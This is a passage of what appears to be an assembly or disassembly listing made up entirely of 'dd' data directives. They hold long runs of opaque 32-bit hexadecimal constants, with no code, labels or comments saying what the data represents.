0A6D83C8Bh, 99099AC1h, 9D8F5B30h, 915C929h, 5FA9ECFEh dd 5DA1E822h, 2F9D280Fh, 9591E4DFh, 3C02D8B7h, 606080F3h dd 0BF34116Eh, 532D766Ch, 2CF5E5B0h, 57B2FCCh, 2B4E78h dd 69E27EE8h, 0EC1CFFACh, 0A7F96A4Ah, 0CB15EABCh, 59BCF6h dd 0D7A7DBF7h, 96263EEh, 3977ABCDh, 2314EAF4h, 665583B5h dd 0BE9BB416h, 7F681BC0h, 0FC506B2Bh, 9979DC3h, 0C21A75B6h dd 0CC83557h, 0BD7ADFA3h, 92AC549h, 25A59D31h, 0E697901Bh dd 0F945864Bh, 0A52CC964h, 0F3ADE75Ch, 0DA7978F4h, 0C6E24D25h dd 400B940Dh, 0F799AAE8h, 86F81431h, 0C0E5A951h, 81CA352Bh dd 13186DADh, 95A274D1h, 0CC6B8294h, 7003D355h, 283F637Ch dd 13CF809Ch, 6A5AAE19h, 0DCF4B602h, 0A4D7FD02h, 57237AB0h dd 8355F5EAh, 7E11E9C1h, 0A297002Bh, 0D15B7821h, 6700D38Ch dd 0B963DB7h, 9D548D64h, 0C73BC4C4h, 1720C5E8h, 1C920E6Ah dd 8AA003F1h, 3504701Fh, 58138213h, 5017D3B8h, 82A257h dd 99C23A06h, 95C6E15Fh, 5B7AFDC6h, 0E49B904Ah, 11178680h dd 4A2D8BFDh, 18725BFCh, 70072B05h, 356F1C1Eh, 7CAC3896h dd 5665FE1h, 8A7B04EEh, 0B89DB9D8h, 5A85982Ah, 2A54E111h dd 0A9A07C8Ah, 0E09F1DB1h, 48DDF9C1h, 1F223450h, 0E566A382h dd 99911900h, 0B383C90Ch, 0EA2B0020h, 0A44CADD1h, 290A45D7h dd 0BC5BFE75h, 5BE9AB24h, 69FC50D8h, 6BF2F612h, 3814D249h dd 0FE1A2ABh, 63E76833h, 0A3C4C3E0h, 65B54609h, 6C532D9Fh dd 59B19050h, 0A04ABEC6h, 56822692h, 0E0DC4B54h, 48B200F4h dd 0F0ABB8A0h, 0BA028C62h, 0F380F55Eh, 68545CFAh, 0F9ED12F3h dd 0ECB47DDBh, 92BA01DCh, 0DA51A34Ch, 0CD3330B5h, 9DD80741h dd 1E929FD9h, 23768AF7h, 0D6FA00F4h, 21FDBF52h, 309769E8h dd 82010576h, 9CBCE5C0h, 0F909B070h, 0F56070E6h, 0E2572C1Ah dd 0E5907D46h, 94009C46h, 0A15D059h, 16A90BE1h, 0ACFC561Ch dd 0A5D788BAh, 0DF807560h, 0FE370246h, 2EBCA826h, 0EE201CFAh dd 0A0B4F85Ah, 1D91279Dh, 0A04F2A56h, 870FC82Bh, 6039C00Eh dd 4C3BD081h, 296A3E03h, 92A3D95h, 0F8D18BB5h, 2D086073h dd 0A910BB1Eh, 42F1D61Fh, 17098EC2h, 57EB88h, 2D4DE792h dd 9B1523FEh, 0D1D92504h, 72B9F2E2h, 5562027h, 0A228D9E0h dd 4F70FCh, 0BDCA5BFBh, 0F80CD2DDh, 970B4E3Bh, 7AF4109Dh dd 0C6558A3Fh, 4B91B2EEh, 2A82981Dh, 9ED98Ah, 308A1550h dd 1914D1BEh, 5A21A583h, 0BA61ACA1h, 1267CADEh, 0D3615D81h dd 8B282E08h, 0DEF75A02h, 0A11081B3h, 9420ACA8h, 85C4B77Dh dd 0C2056D95h, 1E4101FFh, 0AC302EC1h, 0DAB97AB3h, 7E562ABEh dd 0C0E1ED27h, 0FDA398D4h, 35B09562h, 83FC0426h, 0D290C035h dd 0B5709D09h, 711079C9h, 0DE80E937h, 6DDD888Ah, 0DC3A9Eh dd 53D2BA18h, 0E4BB139Ch, 5B4B70E2h, 9EAA0784h, 0C4188050h dd 0F364DE6h, 25C1EB80h, 3EF78D93h, 0B37E24h, 5F5D099Eh dd 6DAD0873h, 303C4726h, 0F9FE52BDh, 0D04167B5h, 3007148Fh dd 335D27D8h, 61B04EF2h, 285A59E2h, 0C83D49C3h, 55FC10E0h dd 0E9BF0713h, 0F32B63A1h, 0DA814FAFh, 0CB2AAA76h, 226F22A5h dd 0E31D05E8h, 82C0CEB2h, 596FC1BBh, 0B85B2609h, 0B9D86455h dd 8C17AC3Ah, 76575D00h, 0DBDBB92h, 4A424265h, 21A827E9h dd 3D5D900h, 0B529416Eh, 642A4101h, 464B0E50h, 9E21378Ah dd 0F059F701h, 282E15A1h, 8786A62Fh, 0A3D5E072h, 16B02EA8h dd 770B5120h, 922CB10Fh, 8533E2D8h, 4B90436h, 3B04E8E8h dd 0F18B6055h, 8CFAA584h, 49BD9D06h, 0D7660F5h, 968ACBF0h dd 2820BA09h, 4D4B8453h, 0F925D0BCh, 32535DC2h, 264A1D70h dd 968E491h, 0D35621F9h, 405DCDC9h, 1002EE54h, 1BC8EA04h dd 0B5128578h, 0A710CAA1h, 2F123EBh, 3241D631h, 0D28AAD04h dd 30A088E6h, 0CA009AE5h, 0DB977946h, 95901507h, 0D8D76710h dd 0EE2AE409h, 0DA3D8778h, 0BBC381F0h, 27522488h, 0A9F10361h dd 82010970h, 67ED68F9h, 882B2322h, 79273F2Fh, 0CB64D6AEh dd 9A1E3659h, 2A820240h, 0C0589Ch, 72797BA4h, 5491DAF5h dd 0BAC05F5Fh, 0B3D6412h, 19890F23h, 0D600D6EEh, 7740A3EDh dd 1167EB4h, 8C5F2C0h, 0C8B5E292h, 8825BA2Eh, 482B4650h dd 0B116C860h, 0A56AAC1Ch, 1B87FEDh, 800D2E8h, 0E3BE3229h dd 7CE9CDA0h, 0F63BE1EEh, 2B69F00Dh, 0CCDC012Dh, 23B35497h dd 3E5CC6F8h, 0AC145969h, 528D17C6h, 0B2EEA661h, 3F2B311Ah dd 0E22D86A4h, 0D5E30581h, 0BB6718DAh, 3FC8F820h, 24F82452h dd 3BF707C4h, 0B68FE0BAh, 0AA7A7FE1h, 0C6C25925h, 0F2604B0Ch dd 5AC70069h, 29E6689Ch, 1ABA0090h, 1CE034FAh, 0F7120CFFh dd 9EE883B1h, 5F515B27h, 0F120F980h, 23A095Fh, 9B86277Bh dd 0E38B477Ch, 0C111156h, 20C7CD5Ah, 689A2D33h, 0EF95ABA4h dd 99F40C6h, 251E527Ah, 142C52Ah, 2902999Dh, 9BC2C58h dd 91CD01DCh, 28B5B065h, 0D091602Eh, 0BB960C0Eh, 7CA582F4h dd 0A9D7F50h, 0FA851411h dd 0D4C9A860h, 0EAD4A7Bh, 32C66125h, 42405B94h, 781626h dd 0E66C73F6h, 7ADE6625h, 5BFD8A13h, 0CE9F4FA2h, 4E767EBBh dd 0A353D9EFh, 0BC487E3Eh, 329D78E7h, 4AB55532h, 5D76400h dd 2E3BFC1h, 9589AB73h, 59091E85h, 75B78B51h, 0EDBFB57Ah dd 0F0E5C54Ch, 6EB52D90h, 2D807FA1h, 0B43761DBh, 63C8C202h dd 8EF994h, 0B957863Bh, 6C2D5F6Eh, 0D9AF5B32h, 21181Ch dd 0AF8643DEh, 0A487A6D7h, 577EE29Fh, 7548829h, 61783E59h dd 0FB309984h, 6E7ED3D9h, 0E16103BDh, 9F44F30h, 15ED9580h dd 23BD5890h, 0A9A88DD3h, 0AC3EE516h, 9A92EEDDh, 0BBCB8032h dd 53B535Fh, 8F6331D6h, 1927F086h, 403DBFh, 894BD645h dd 254AE1B5h, 3A850FE3h, 0A0BCB704h, 48843FEAh, 7125B9D4h dd 8897EE7h, 0C09AD604h, 0FC628077h, 1998F3Ah, 0B390989Bh dd 0E8E4E5BFh, 99674A32h, 0FE3760BDh, 0BB89464Bh, 0C18D9B3Ah dd 36082FBh, 0B9A2136Fh, 0B7C98087h, 1C954DDFh, 829CEFB6h dd 0A74630E2h, 0F5254D50h, 0A532731Ah, 8383CC66h, 96041B92h dd 614A7FC2h, 80305768h, 5F523EE2h, 0CF3D0A7Bh, 0C7724806h dd 0B8A3F4EFh, 5188D691h, 66EA3E4Eh, 9CD3119Fh, 0B1C78739h dd 0DFA18073h, 0CB120AF7h, 1A0833D6h, 0B45F1823h, 2D850275h dd 0DC6486Dh, 950CFCE0h, 6D95C96Eh, 511BC0DDh, 0CB08B66h dd 42C4C609h, 0A0CD7176h, 0D7CF2789h, 67281C5Bh, 252FC522h dd 0BFDE04C2h, 0D21407DCh, 0E0B00EFDh, 9D034478h, 0CC9D617Bh dd 67BF026Ah, 0D912563h, 25A66D0h, 74B099B7h, 880ABFBAh dd 0D0714D08h, 712D6D09h, 0BA5369E0h, 1C13850h, 290FB874h dd 2E2719BDh, 8BD2E277h, 807ED30Ch, 0D60AD89Dh, 0E269EAA2h dd 71015B7Ch, 218181Ah, 0BC9F0F89h, 23FC3273h, 808635EBh dd 8F46C84Fh, 0CD51C143h, 8926CD9Dh, 2A55BDE3h, 0BC01AF45h dd 5061C1D8h, 0F63F207Fh, 31008117h, 1960C0B4h, 12BEBB73h dd 1365FEAAh, 616FCAh, 0B172FDAEh, 4E9D8930h, 0AD7184E5h dd 8C19AC6Ah, 4F3B0A02h, 40ED7CC9h, 950F154Ch, 0F6CFF96Eh dd 0D4ACB2E5h, 8B2232E2h, 794568F9h, 3DC4BA41h, 6E4F14C0h dd 0E51F00E7h, 0F928F2Fh, 52EC7FAEh, 824B7841h, 96D52676h dd 0E03787C4h, 0D6BD6D83h, 324C7309h, 0CC698CA3h, 0F7F74AE5h dd 44FA29D7h, 0B484BB00h, 98570DD0h, 9DD5F19h, 0EB565B38h dd 0D4A4DCE9h, 0E6C2A900h, 0A139F3A3h, 0DDF1277h, 8833F2F9h dd 8060845Fh, 3604AFD2h, 28AB03E5h, 8A2D0FCFh, 80C3D31Eh dd 0ED62431Ah, 9C0E23B7h, 0BCD6ADC3h, 542036C3h, 83E2FA9Ah dd 2D31EDB8h, 33EFC6DDh, 15F55249h, 0B40B3B56h, 0AC575916h dd 0BFE9F59Bh, 2E007AA8h, 75C79E82h, 2DF80C4Ch, 0A058FCE9h dd 4B852939h, 31C1C940h, 952C898Dh, 4DA50EC5h, 0B285452Dh dd 2E204B1Dh, 122915BFh, 0FA5B5CB9h, 7E103909h, 0BD0DE031h dd 699547B6h, 19DD7712h, 0C7D6DE2Ah, 0F3D1DD0Ch, 20D103BCh dd 762826Eh, 3ACCF612h, 0F7ABB6CEh, 0E8295F79h, 3F1590FFh dd 5A7300E4h, 5DC50970h, 20055619h, 0A0C361B4h, 7751B002h dd 0DEAADE16h, 16133FFCh, 55B897D7h, 3120418Fh, 948D24A3h dd 0CB7A8800h, 0EE02D466h, 6242FCE0h, 1091FC0Fh, 79498F5Eh dd 9F3800B7h, 405BD92Fh, 3317FF72h, 41045C19h, 0DB102831h dd 5ADF5350h, 0AA18D4FFh, 9C211E89h, 3F6F2EDDh, 391523C2h dd 0E93AB635h, 0E0EB8E1h, 2A6B89CCh, 0A3AF5D45h, 13E8115Ah dd 95276000h, 0C05AE358h, 9CB09600h, 86B150DEh, 0CD88047Dh dd 0BD5B3149h, 800888C2h, 448C5452h, 0A325E728h, 9BEE6C2h dd 99D3160h, 0B57F71DAh, 2C612D40h, 0DE7BD1FFh, 4C623004h dd 5AA07913h, 0CA244B76h, 35E034E8h, 0F6EEFh, 0D97430A0h dd 162A43A2h, 0B860D453h, 0CD2F37CDh, 2A0B2D62h, 0B0111DEh dd 53026AF5h, 23267091h, 5DE8E7FAh, 7040D62Dh, 552EAAFDh dd 0B60147B7h, 0E4738EE0h, 0FC4BEC33h, 7D8C800Ch, 27F82A46h dd 7F66014Ch, 84D6C3BFh, 0C5645F0Bh, 89811F3Fh, 1A8FEA41h dd 0D7C8D5B6h, 0F8A04D57h, 9E07D988h, 0E2D7FB2Ch, 7B396877h dd 0E1111F0h, 0E00AA538h, 0C78F8A7Ah, 403A006Ch, 957F52E4h dd 0E92DB7E0h, 0C46F7193h, 0EB1AC55Bh, 0E901846Fh, 0C212715Fh dd 0AEC33E01h, 0A5E68D47h, 0C02A3EE0h, 0F966C602h, 604B03A0h dd 9D2EFD2Dh, 0DB9D2516h, 0EE0150BEh, 0FD876500h, 9D293591h dd 0B20F5F31h, 12DF2450h, 0C0264DADh, 8AE17BECh, 83131EFCh dd 20EF4DDEh, 11EF216Eh, 0CCE1E504h, 0AF09D6Ah, 3A5F8118h dd 0CB6A0913h, 3C011D23h, 30BF98C0h, 0EE537A20h, 2D667809h dd 0CC73FBABh, 75AE5F92h, 80E4DAADh, 8D0C9DCEh, 0CC2F288Ch dd 0FF6A259Eh, 0AB8006D9h, 0AAD83D59h, 12A41769h, 89ED0557h dd 687ABF0Ch, 6CF3E80Bh, 3A0BC45Eh, 0BD1C053Dh, 0DEA409BFh dd 4539EA7Bh, 3173D721h, 83B0DA17h, 2D14791Eh, 169670E6h dd 0F8B80850h, 8C23FE7Eh, 3A21DF5Eh, 28061CDDh, 970EC520h dd 667CEF0Bh, 97F27169h, 0BF8700DEh, 67A6E1C5h, 0F9EC9097h dd 40C48632h, 0E0122015h, 174588F1h, 0CD001423h, 3940459Ch dd 6DE443A0h, 0C67D0C00h, 0FD65BCD9h, 0B8334AB7h, 0FFC09ABh dd 1C1B7F82h, 9751EC8Ch, 0AB928CADh, 0CB838824h, 0C60D4B7Dh dd 40C1060Ah, 2ACD8D01h, 0E161446Ah, 7A610913h, 0BF1944FFh dd 71DD8B02h, 0D741E93Eh, 0EA9A05B8h, 829F8A3Eh, 954F37C0h dd 0F5E67530h, 23F21197h, 95C25713h, 5F8CC855h, 17A55083h dd 0B80BB5FEh, 1D5C2B08h, 0B618931h, 5142EB79h, 0E721DD02h dd 21C404D7h, 0BD308846h, 0EFC3202Ch, 325EE7ADh, 0CDBA0055h dd 0D4B823F3h, 6692C0Bh, 5F0518B7h, 63A03E19h, 90B9CE9Ch dd 0F8D06407h, 0E84BE8BCh, 0B88370C6h, 9EA0CF80h, 0D853A705h dd 70982578h, 0BACC26EAh, 7195FE3Ch, 0F18269FDh, 9D2717D5h dd 2AAF0764h, 0C019C850h, 69E46D48h, 60F72E14h, 93F12ADAh dd 0E2649Fh, 0EEF2CBB6h, 1F250990h, 0AFF455E4h, 4B90725h dd 59011342h, 2C97B761h, 0F4488019h, 7531DCE0h, 0D330909h dd 3557FD88h, 8018116Ah, 0BF724BEDh, 5D8CA06Ah, 69ED9534h dd 106719E4h, 54AC3008h, 0D98BB613h, 0E64B53A7h, 7D9BA2A7h dd 1AC930Ah, 33FC12BFh, 582F3A19h, 9F269A4Bh, 36F55B8Eh dd 0CA4B99BCh, 2FD37B1Eh, 46E329A6h, 0E1D33E8h, 5E8B902Dh dd 0E8FC44EBh, 0E715D236h, 0EDB65A5Bh, 803114B2h, 916A3021h dd 29E1FF1Eh, 0C9FB8D3h, 6AB0B461h, 3FF85B8h, 0EDAE2A52h dd 71C59591h, 913045BDh, 8A504E5Eh, 0A5692138h, 1D49AF6h dd 9311D537h, 0F92EACE2h, 2F283ACDh, 76F48A02h, 0C961C66Ch dd 76D36027h, 27E46170h, 342C86Dh, 4270765Bh, 0B520015Dh dd 7D9D3198h, 4243A29h, 1AF5DD04h, 286E98FBh, 70B8FF00h dd 8D329E87h, 5C161CE2h, 1A05C27Dh, 9AF53F3Bh, 98241ECh dd 0A45FE993h, 758A3A07h, 0A5B98A39h, 0D6CB5681h, 6B001D46h dd 7FEFAFEEh, 3011EAA8h, 7931CDEh, 3489D07Ah, 0FA86812Ch dd 4047050h, 4984C08Ah, 203FFD13h, 0EEABDEFBh, 0ED44EF00h dd 2F3DC619h, 9A181B57h, 0F822A60Fh, 4A00B503h, 6704AB68h dd 0C0C6BA4Ch, 0F4917A8Eh, 853A009Bh, 9920D1A7h, 0AE486B6Dh dd 18214211h, 24945BFEh, 0B7FF1654h, 2A37B145h, 6E3BD829h dd 0E74702C2h, 775462A8h, 810275C6h, 7521FEEFh, 491F7473h dd 7BE0A7CDh, 21F8D721h dd 0A000E873h, 1C437CB7h, 0CC6207B0h, 70BA5A5Dh, 2B052199h dd 0F9BD5901h, 225E95Fh, 77CA7A2Bh, 4E27B300h, 6F73BF71h dd 95214E34h, 477ABE32h, 0F81F0102h, 5274F6B3h, 0FC1C2Ch dd 0D7ED8257h, 5EB11814h, 7F948BFEh, 80091E10h, 7AD1A5C3h dd 80543725h, 23268951h, 0D54815FDh, 5ECC4B4Eh, 0F59D2D01h dd 39897F61h, 4C0BC82h, 0B1B52BD1h, 7FE18DF1h, 86C0949Bh dd 969CE869h, 1AF3B44Ch, 62A12755h, 97B75563h, 9EE0E602h dd 920C5D55h, 0EB2D8051h, 9750522Ah, 6309AB7h, 266D0723h dd 91EDF59h, 6D5EEB25h, 441646D6h, 9D2C89D8h, 6881A1E9h dd 0C659BD6Dh, 29C21631h, 46921220h, 0F9F839C5h, 6465ED95h dd 2AA6601Ch, 0A50E3858h, 74D7101h, 2BE1BD23h, 8A50C002h dd 951478F9h, 12C289EDh, 0E6592Eh, 0A57B70FCh, 771CCFABh dd 0D40022ADh, 0BB31CF4h, 14902623h, 1546DC78h, 615A6C02h dd 0C7648A0Fh, 46599Dh, 44754F17h, 241393B3h, 52A2F53Dh dd 0A212AFD2h, 0DAAA0AC4h, 0F3814BD8h, 0D82BDA98h, 5E87F98Ah dd 8E2FB90h, 763D95h, 0BFE44BFFh, 0D30B5CECh, 748EB9B7h dd 4A52409Ch, 5D2D9970h, 4F7CF985h, 0A9A6AE48h, 16590C11h dd 0A9080592h, 8FC33C1Bh, 5CF53FC9h, 1846D6FCh, 51E21602h dd 0D65E352Bh, 251446D6h, 12E773C5h, 4FB7F3F8h, 0B42DC8h dd 0A88248D4h, 1894DDF7h, 1002314Ch, 5F12143Dh, 0B37EB096h dd 6A2EEB45h, 8F7F2B80h, 4F181671h, 0C7A03BFEh, 0E5952AE1h dd 5BB5AD88h, 0BC79700h, 971EDD9Dh, 14F1F5BAh, 0EBB5762Dh dd 75E2A956h, 0C7BC1417h, 80AAE940h, 0FF9C00DFh, 0DED8818Ch dd 0B5118934h, 314B13A5h, 7E8F0F47h, 25DB8A8Ch, 0D8E06A54h dd 61E26057h, 0EFE646BDh, 20509D41h, 0AE84342Fh, 64B87034h dd 0D3B7BBC0h, 6A4B2096h, 0A70ED6Fh, 8546AE49h, 1CC189C8h dd 4B319655h, 0CD9D16E5h, 35F888A0h, 0BB500007h, 28320397h dd 3BC34F8h, 774FCDEh, 1B797235h, 7E0D26DBh, 4B14F12Bh dd 918D0102h, 237D71Dh, 1C871791h, 0AC140462h, 5BE18017h dd 89EB88h, 35F770C8h, 0D607C693h, 0E518A525h, 5C491136h dd 9D09C289h, 50FB6995h, 442283F5h, 92C1F54Bh, 56ABF106h dd 0E05CB6F6h, 163A767h, 42B4EBE5h, 7B975975h, 7907F909h dd 54356BC5h, 0CF228287h, 0E70E2AF1h, 0BC80446Ch, 12D16931h dd 0C3E66204h, 78BDA73Fh, 0A10EB6D2h, 46216D0Bh, 59816004h dd 4A2248FEh, 0D03B184h, 0F46E2E50h, 99975F7Ch, 2B20BF6Eh dd 0E3584EBDh, 538A4BB5h, 0FC4A5222h, 18AC00B9h, 0DECF058Ch dd 91397E1h, 4EC26DC3h, 6D2D4B5Ch, 5045C03Dh, 81268FEh dd 46F7923Fh, 7D3015B2h, 5E10B7EBh, 30B83263h, 0BCB5DC00h dd 5528D221h, 0AEE8007Bh, 0FE4EAAB7h, 0A75AE9DEh, 2177E1h dd 97120660h, 3977578Ah, 57EE31A5h, 75C4575Eh, 4510C5ECh dd 7D194816h, 3036DD04h, 50550489h, 0D7032CBCh, 7E7D34DDh dd 8044623Dh, 43DD8732h, 2E69B178h, 0BBB0202Eh, 0D2045C9Ch dd 52609047h, 0B55EC280h, 0A1614BC8h, 80BC2C21h, 0BD1F2D54h dd 0AA680080h, 96930519h, 475E6E11h, 0F5F9C02h, 0C4C631h dd 5B94CF0h, 42612573h, 5BE02002h, 5490585Ah, 0CC00DCEDh dd 507EE667h, 580CF291h, 0C0254398h, 97F4F774h, 4FB78D44h dd 4FD1405Bh, 0C24BB28Fh, 0BBFCA8Ch, 4D56C517h, 7CE84A5Ch dd 4D5A097Eh, 107D0762h, 0BDDE8BF9h, 240593C0h, 94890F80h dd 0B91D50CBh, 8995DDAEh, 1367DCF6h, 0AC38AB16h, 55C2E1EAh dd 0CF8D3237h, 14ED60E7h, 17F0C504h, 6193A492h, 0E66E495h dd 129E9C7h, 8CFAA924h, 1A0059C2h, 333945E7h, 0B8AB20h dd 97C9E88Ch, 0E455832Bh, 59051179h, 60026A61h, 0F7801DECh dd 653C7276h, 94007D72h, 0F922BCE0h, 13BD3324h, 0A4B52BCCh dd 0BF80611Ah, 0BE684996h, 0B8C6E4Bh, 562DE06Bh, 5D5D1AC6h dd 9499CE05h, 0AC78F93Dh, 0A3828C14h, 1D7DE5C0h, 489738BDh dd 19720015h, 3EF43FDh, 0E03B8388h, 80C78055h, 5F4DFB12h dd 92AE557h, 0E171A0DCh, 0B873CC2h, 89E0997Fh, 824E22Bh dd 0AF099D8Bh, 0AA562D8Bh, 301446D6h, 1F94A97h, 29C52595h dd 0FA51A3C4h, 909B3BC9h, 0D2728FDEh, 22F2CFC0h, 329730FFh dd 7A21578Fh, 0F20F5BDh, 3F06743h, 0F44BCB80h, 2D698C9Dh dd 300A4A8h, 81DE3D2Fh, 24844BEBh, 1E563F1Ah, 0FF6A4989h dd 0D8C0744Dh, 2F3A0CD4h, 9285E2E0h, 1928C1F9h, 0DFF2522Bh dd 58C4805Ch, 0AC8604Eh, 0B1982280h, 0B0853DEh, 787D3620h dd 60A684D7h, 0D8E28Ch, 0D07E66C5h, 56FECC0h, 0D4AD6901h dd 77E27443h, 0BD0DD8F8h, 0AEB85170h, 1E2B2E41h, 1CB5089Eh dd 0FABB6602h, 0B9A25C2Ah, 94E936Ah, 9C710871h, 0D2BAF80Eh dd 89681BDh, 60931F6Bh, 1B799C8h, 0C6349003h, 0D8C49262h dd 4300BC0Fh, 1F18ADCh, 77813739h, 0D5FA09D6h, 0B770613Ah dd 0FBB1A595h, 6D8185ECh, 0FFD93EA9h, 0DAEA4AC8h, 0EEC59009h dd 2410DD03h, 9972B5Bh, 0BB7F56EDh, 9D0BD102h, 0B6A5150Dh dd 29540123h, 8C0739BDh, 0D458D29h, 87759961h, 3051E495h dd 0C64727A2h, 46EBFFA0h, 1006780Bh, 5E1826Eh, 6609072Ah dd 88950D29h, 0C26085C6h, 0EF8F22h, 8EC3675Fh, 0E4C5E68Ch dd 990D4179h, 34D5A992h, 5CD9AA02h, 0B41C94D1h, 945E9C7h dd 77A4B157h, 460570h, 0D5C0AFB9h, 6DBD0374h, 10440C4Eh dd 2941698Dh, 2E221DB5h, 271BDA62h, 9A5A5F8h, 0B861FE16h dd 9565072Ch, 4A5E7214h, 41AED2D8h, 0F46E2F0Bh, 95E3C900h dd 0D659F2ECh, 0BAAAA098h, 23BDEB02h, 50815624h, 0B928FD9Bh dd 0F6D127h, 66BC00F6h, 913BE487h, 0F00B37CBh, 0FC0881B9h dd 4603F4ACh, 0BCACD8CFh, 0CE2DB881h, 294727E3h, 7049EC5Eh dd 0AF4D9510h, 8F98B0C0h, 0EAAE1465h, 0A0285C6h, 418D8912h dd 85015948h, 4AB1FA97h, 9C13DBFCh, 0F5F31F40h, 266F06D1h dd 985287Fh, 817974D8h, 0F86B0700h, 0C1863D27h, 2B65951Eh dd 0D15B60C0h, 0C2BAD7A9h, 0B454F71h, 97F8D58Ch, 35BD2FB6h dd 4DC2589h, 19D88B89h, 0B6F50FB9h, 33DFF0h, 0DED0BC8Eh dd 81EFD13Ch, 0FFF5D909h, 9F127A2Fh, 0B378C5DBh, 0BB9A09DCh dd 0D7B98ECh, 12D494AEh, 445D931h, 0BCD3B3FEh, 0B753C10Ch dd 2F2E5F64h, 82DA4AEAh, 0DB5CF789h, 0F5252510h, 7412EBC5h dd 1F7A7BEBh, 0D741F04Bh, 222C9D64h, 51E6222Eh, 0AD1F6940h dd 0E68D5B4Bh, 8F19089h, 3CA1CA71h, 6610E2FBh, 78C700E7h dd 63606A91h, 7000B66Ch, 16A764D5h, 0C44828CFh, 0EB17A174h dd 0D2364F8Eh, 1B25B07Dh, 9D4C5E3h, 3DD703DCh, 6F7C0350h dd 69B2D095h, 7851D15Ch, 3A3D5DD2h, 2DB95E2Dh, 105CBFEh dd 13F1600Dh, 0E009F115h, 8C81E831h, 0DC1E9ED9h, 610CB101h dd 50B2652Bh, 4ACDFA20h, 4ADBF629h, 0B79694DAh, 0D84E0249h dd 75819529h, 0F17098CCh, 0C5E30A8Ah, 595C53ADh, 127F1817h dd 0E3219484h, 49BF01CDh, 901DD509h, 371D6F2Ch, 5F53880Dh dd 0FE9D230Bh, 116881D1h, 6BC596E8h, 3281DCCh, 441502E5h dd 9E20E53h, 81B0D927h, 97B9476h, 61183889h, 0EE0A9D50h dd 0CD3A881Bh, 21791CDEh, 0D2311C65h, 4A53A310h, 0B603E5E2h dd 92D9C421h, 0DD32CED0h, 0F00A1F0h, 803EBE47h, 4B89B723h dd 8AB88C1Ch, 9FCF84Eh, 0B19CD10h, 8304E780h, 850166A2h dd 0C1D6DBAFh, 0CBEE4F4Ah dd 45D7FD0h, 58D01DBh, 498BAB16h, 8950DA5Bh, 898C71C0h dd 6071C2B7h, 40046097h, 0F8041A2Dh, 0C445B861h, 6FFE89FCh dd 3F2F0B8Fh, 1D0EA273h, 2552450Bh, 82091274h, 0B722703Fh dd 9658A950h, 0C0502F6Eh, 0B86ABE2Ch, 70530934h, 0E2595E79h dd 522C80BFh, 0D5684092h, 72DA3D8Ah, 0CA290504h, 0E803BA09h dd 0E6C5892Ah, 48E31F6Ch, 6F8DDEF3h, 0CB540B42h, 0DE1C764Bh dd 3C7E257Fh, 0A45DCB07h, 33B039E2h, 952BF59Dh, 0D209344h dd 3BA1A426h, 0BD4A165Eh, 4877B807h, 0FE936A09h, 801CD7Ah dd 0FDB109B4h, 0B5D041EBh, 0CD67172Fh, 8A6115F8h, 0CB32E8BDh dd 0B7F3E49Dh, 1E574092h, 0D48D9633h, 94812A5Ah, 282BF81Eh dd 2AD65839h, 3866FFBh, 0E266F1A9h, 82F4EA01h, 10D989h dd 99C3F781h, 0E926740Bh, 0F65E5440h, 0FC597802h, 23B37CCh dd 0C7552608h, 9D105E2Eh, 0C3441F55h, 8A644B14h, 442101Bh dd 0EF265630h, 5F4BF98Dh, 0F13B88h, 849313DEh, 5BDA8BD8h dd 209AE5A5h, 0CABC4145h, 2E225D38h, 9706595h, 0C736F18h dd 509BF3AFh, 570C66CCh, 0ECA71A99h, 7A214169h, 5DEFC8h dd 970D107Bh, 0DE3CDD0Fh, 904D7007h, 7D40371Eh, 50A7C15Dh dd 4A8FEC2Dh, 70CAE809h, 8F19BD9Dh, 36E0B688h, 80BD5309h dd 737DEB2Dh, 36B5ADDBh, 0ECE25300h, 5E609691h, 981C82Bh dd 1455BD10h, 96DFB783h, 47648CA2h, 4DE2564Eh, 0C072401Fh dd 0DAC97532h, 5F071B3Dh, 5BE9B5F3h, 0E2E25015h, 23103100h dd 512F247h, 5C5FDE00h, 4DBE6660h, 8E0F25CCh, 5B25DA64h dd 12FB796h, 7B6012EFh, 3B122535h, 63122F7Bh, 4AA3E7ABh dd 0F3C0269Ah, 679A75Dh, 0B07F4709h, 12DFFE4Fh, 14ABE712h dd 10C05351h, 5B121B8Dh, 0AD88BD5Fh, 5E8A1Ch, 2D31D8BAh dd 556B33BBh, 0C7362EE3h, 1A212D8Eh, 0F9F8FD6Eh, 0B7AD0997h dd 4FC78007h, 998D8925h, 35F22A5Ah, 0EAC5B713h, 31B80516h dd 326AAAE4h, 602E0800h, 0BA3A0E87h, 0EA8C7C4Bh, 15B52E29h dd 0DBBF816Ah, 0A608523Bh, 3DEA068h, 0C75CA0CCh, 0DC1070D3h dd 2B092C1Dh, 1071299Dh, 0FB17A14Ah, 2F96DC8Ch, 96C45753h dd 45648300h, 133D22D8h, 823F00F8h, 4C5818C5h, 5D3835E1h dd 6450AF5Fh, 2A4200DFh, 19FEE3DCh, 0A8B6BC31h, 4BB03B40h dd 2F202D7h, 5FEAB1ECh, 0B802A742h, 4FB22319h, 0FBEB9F40h dd 0F99A694Bh, 58C316C8h, 0E7E8ADEAh, 0A7118180h, 0B1013F7Dh dd 604CA9DBh, 292E9635h, 54857FF5h, 0C184DBFBh, 8EF0C7F3h dd 2DDE27D4h, 6DC60C9h, 67BF2F12h, 0B0245112h, 295DECFAh dd 3DA98D4Fh, 4B51EC4Fh, 0C8FD1885h, 6F07FEB8h, 0C541CA27h dd 81B20114h, 0B7D28E49h, 0B1D12B8h, 0A0D269BDh, 0D5A51EE9h dd 3CD8BB81h, 272FFC60h, 0EB70F0AAh, 0F1026911h, 0E2DC9B26h dd 0F76AFF8Fh, 0C5366C55h, 0AF26E9F4h, 9E585E38h, 0AB25F67Dh dd 0C00C5C9Dh, 7AFDCF81h, 90D11095h, 6B63042Dh, 0AF219E94h dd 6B9B2B57h, 0A302C68Fh, 0DE5C437Dh, 0E100825Ah, 8AE9022Ch dd 6D2FAF5Ch, 9D71C2F1h, 995702FDh, 0C1CB0E08h, 0EDC83DEh dd 0BEF3327Ch, 2C47ED61h, 0D5D802D2h, 1B64816Dh, 180B6D8h dd 14EB8576h, 20B29D4Ch, 6017FE17h, 0A5885290h, 8B5A0034h dd 2E674419h, 6058E0A5h, 1D2F48B7h, 0DA3A5651h, 0A0BC8EADh dd 3C54D434h, 7D0B206Bh, 9C81E6E2h, 6C510321h, 2F1D20F7h dd 3CF66A5Bh, 146401DEh, 0F84D877h, 0D8C92B60h, 242DBF20h dd 0DC5A813h, 56B3075h, 167983C6h, 0A2D8FABCh, 25C52DBDh dd 3527B97Bh, 0FB5A0052h, 15393F35h, 0DE90A926h, 7B935860h dd 0EB8A02BEh, 